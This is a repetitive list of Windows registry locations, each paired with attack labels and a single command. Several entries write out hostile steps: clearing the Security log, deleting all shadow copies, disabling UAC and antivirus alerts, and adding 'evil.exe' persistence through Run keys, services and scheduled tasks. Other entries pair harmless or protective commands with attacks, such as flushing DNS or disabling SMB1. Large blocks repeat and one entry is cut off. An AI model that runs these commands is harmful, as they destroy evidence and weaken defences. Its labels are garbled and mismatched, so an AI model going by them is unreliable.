Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
Attacks: File Association Hijacking, Malware Execution
Codes:assoc .txt=evilprogid

Windows Network Shares Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares
Attacks: Unauthorized Network Access, Data Theft
Codes:net share EvilShare=C:\evil

Windows Network Settings Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
Attacks: Network Manipulation, Man-in-the-Middle
Codes:netsh interface ip set dns "Local Area Connection" static 1.2.3.4

Windows Driver Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Class
Attacks: Driver Manipulation, Kernel-Level Control
Codes:pnputil /add-driver evil.inf

Windows Boot Control

Registry Path:HKLM\BCD00000000
Attacks: Boot Manipulation, System Integrity Compromise
Codes:bcdedit /set {bootmgr} path \EFI\evil\evilmgr.efi

Windows Activation Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
Attacks: Activation Bypass, Licensing Manipulation
Codes:slmgr /rearm

Windows Update Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
Attacks: Update Manipulation, Vulnerability Exploitation
Codes:wuauclt /detectnow

Windows Firewall Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
Attacks: Firewall Bypass, Unauthorized Access
Codes:netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Windows Security Center Control

Registry Path:HKLM\SOFTWARE\Microsoft\Security Center
Attacks: Security Alert Suppression, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Security Center /v AntiVirusDisableNotify /t REG_DWORD /d 1

Windows Event Viewer Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\EventViewer
Attacks: Log Manipulation, Evidence Tampering
Codes:wevtutil cl Security

Windows Performance Monitor Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
Attacks: System Monitoring, Data Theft
Codes:logman create counter EvilMonitor -o "C:\evil.log" -f csv -v mmddhhmm -c "\Processor(_Total)\% Processor Time"

Windows Power Configuration Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Power
Attacks: Energy Consumption Manipulation, Denial of Service
Codes:powercfg /hibernate off

Windows Credential Manager Control

Registry Path:HKLM\SOFTWARE\Microsoft\Cryptography\Protect\Providers\df9d8cd0-1501-11d1-8c7a-00c04fc297eb
Attacks: Credential Theft, Data Decryption
Codes:cmdkey /list

Windows Task Scheduler Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
Attacks: Scheduled Task Manipulation, Persistence
Codes:schtasks /create /tn EvilTask /tr evil.exe /sc daily

Windows System Restore Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
Attacks: System Restore Manipulation, Evidence Tampering
Codes:vssadmin delete shadows /all

Windows Remote Management Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
Attacks: Unauthorized Remote Access, System Control
Codes:winrm quickconfig -q

Windows Remote Desktop Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
Attacks: Unauthorized Remote Access, System Control
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0

Windows Remote Assistance Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0
Attacks: Unauthorized Remote Access, System Control
Codes:msra /offerRA

Windows File Association Control

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
Attacks: File Association Hijacking, Malware Execution
Codes:assoc .txt=evilprogid

Windows Network Shares Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares
Attacks: Unauthorized Network Access, Data Theft
Codes:net share EvilShare=C:\evil

Windows Network Settings Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
Attacks: Network Manipulation, Man-in-the-Middle
Codes:netsh interface ip set dns "Local Area Connection" static 1.2.3.4

Windows Driver Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Class
Attacks: Driver Manipulation, Kernel-Level Control
Codes:pnputil /add-driver evil.inf

Windows Boot Control

Registry Path:HKLM\BCD00000000
Attacks: Boot Manipulation, System Integrity Compromise
Codes:bcdedit /set {bootmgr} path \EFI\evil\evilmgr.efi

Windows Activation Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
Attacks: Activation Bypass, Licensing Manipulation
Codes:slmgr /rearm

Windows Update Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
Attacks: Update Manipulation, Vulnerability Exploitation
Codes:wuauclt /detectnow

Windows Firewall Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
Attacks: Firewall Bypass, Unauthorized Access
Codes:netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Windows Security Center Control

Registry Path:HKLM\SOFTWARE\Microsoft\Security Center
Attacks: Security Alert Suppression, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Security Center /v AntiVirusDisableNotify /t REG_DWORD /d 1

Windows Event Viewer Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\EventViewer
Attacks: Log Manipulation, Evidence Tampering
Codes:wevtutil cl Security

Windows Performance Monitor Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
Attacks: System Monitoring, Data Theft
Codes:logman create counter EvilMonitor -o "C:\evil.log" -f csv -v mmddhhmm -c "\Processor(_Total)\% Processor Time"

Windows Power Configuration Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Power
Attacks: Energy Consumption Manipulation, Denial of Service
Codes:powercfg /hibernate off

Windows Credential Manager Control

Registry Path:HKLM\SOFTWARE\Microsoft\Cryptography\Protect\Providers\df9d8cd0-1501-11d1-8c7a-00c04fc297eb
Attacks: Credential Theft, Data Decryption
Codes:cmdkey /list

Windows Task Scheduler Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
Attacks: Scheduled Task Manipulation, Persistence
Codes:schtasks /create /tn EvilTask /tr evil.exe /sc daily

Windows System Restore Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
Attacks: System Restore Manipulation, Evidence Tampering
Codes:vssadmin delete shadows /all

Windows Remote Management Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
Attacks: Unauthorized Remote Access, System Control
Codes:winrm quickconfig -q

Windows Remote Desktop Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
Attacks: Unauthorized Remote Access, System Control
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0

Windows Remote Assistance Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0
Attacks: Unauthorized Remote Access, System Control
Codes:msra /offerRA

Windows File Association Control

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
Attacks: File Association Hijacking, Malware Execution
Codes:assoc .txt=evilprogid

Windows Network Shares Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares
Attacks: Unauthorized Network Access, Data Theft
Codes:net share EvilShare=C:\evil

Windows Network Settings Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
Attacks: Network Manipulation, Man-in-the-Middle
Codes:netsh interface ip set dns "Local Area Connection" static 1.2.3.4

Windows Driver Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Class
Attacks: Driver Manipulation, Kernel-Level Control
Codes:pnputil /add-driver evil.inf

Windows Boot Control

Registry Path:HKLM\BCD00000000
Attacks: Boot Manipulation, System Integrity Compromise
Codes:bcdedit /set {bootmgr} path \EFI\evil\evilmgr.efi

Windows Activation Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
Attacks: Activation Bypass, Licensing Manipulation
Codes:slmgr /rearm

Windows Update Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
Attacks: Update Manipulation, Vulnerability Exploitation
Codes:wuauclt /detectnow

Windows Firewall Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
Attacks: Firewall Bypass, Unauthorized Access
Codes:netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Windows Security Center Control

Registry Path:HKLM\SOFTWARE\Microsoft\Security Center
Attacks: Security Alert Suppression, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Security Center /v AntiVirusDisableNotify /t REG_DWORD /d 1

Windows Event Viewer Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\EventViewer
Attacks: Log Manipulation, Evidence Tampering
Codes:wevtutil cl Security

Windows Performance Monitor Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
Attacks: System Monitoring, Data Theft
Codes:logman create counter EvilMonitor -o "C:\evil.log" -f csv -v mmddhhmm -c "\Processor(_Total)\% Processor Time"

Windows Power Configuration Control

Codes:assoc .txt=evilprogid

Windows Service Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services
Attacks: Service Manipulation, Privilege Escalation
Codes:sc create EvilService binPath= "C:\evil\evil.exe"

Windows User Account Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Attacks: UAC Bypass, Privilege Escalation
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0

Windows Autorun Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Attacks: Persistence, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v EvilApp /t REG_SZ /d "C:\evil\evil.exe"

Windows MIME Type Control

Registry Path:HKCR\MIME\Database\Content Type
Attacks: MIME Type Hijacking, Malware Execution
Codes:reg add HKCR\MIME\Database\Content Type\application/evil /v Extension /t REG_SZ /d .evil

Windows COM Object Control

Registry Path:HKCR\CLSID
Attacks: COM Hijacking, Privilege Escalation
Codes:reg add HKCR\CLSID\{evil-clsid} /ve /t REG_SZ /d "Evil COM Object"

Windows BITS Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\BITS
Attacks: Data Exfiltration, Malware Download
Codes:bitsadmin /create eviljob

Windows App Paths Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
Attacks: Application Hijacking, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\evilapp.exe /ve /t REG_SZ /d "C:\evil\evilapp.exe"

Windows OLE Control

Registry Path:HKCR\OLE
Attacks: OLE Exploitation, Malware Execution
Codes:reg add HKCR\OLE\evil.ole /ve /t REG_SZ /d "Evil OLE Object"

Windows Shell Extension Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions
Attacks: Shell Manipulation, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved /v {evil-guid} /t REG_SZ /d "Evil Shell Extension"

Windows Environment Variables Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
Attacks: Environment Manipulation, Malware Execution
Codes:setx EVIL_PATH "C:\evil"

Windows DNS Cache Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters
Attacks: DNS Poisoning, Man-in-the-Middle
Codes:ipconfig /flushdns

Windows Kernel Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
Attacks: Kernel Manipulation, System Crash
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management /v ClearPageFileAtShutdown /t REG_DWORD /d 1

Windows Protocol Handler Control

Registry Path:HKCR\PROTOCOLS\Handler
Attacks: Protocol Hijacking, Data Interception
Codes:reg add HKCR\PROTOCOLS\Handler\evil /ve /t REG_SZ /d "Evil Protocol Handler"

Windows Print Spooler Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Print\Printers
Attacks: Print Spooler Exploitation, Malware Execution
Codes:net stop spooler

Windows Group Policy Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
Attacks: Policy Manipulation, System Control
Codes:gpupdate /force

Windows Time Service Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\W32Time
Attacks: Time Manipulation, Certificate Exploitation
Codes:w32tm /config /manualpeerlist:"evil.time.server" /syncfromflags:manual /reliable:YES /update

Windows SMB Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
Attacks: SMB Exploitation, Ransomware Propagation
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v SMB1 /t REG_DWORD /d 0

Windows Debugging Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug
Attacks: Debugging Manipulation, Malware Analysis Evasion
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug /v Debugger /t REG_SZ /d "C:\evil\evildebugger.exe"

Windows Error Reporting Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting
Attacks: Information Disclosure, System Analysis
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting /v Disabled /t REG_DWORD /d 1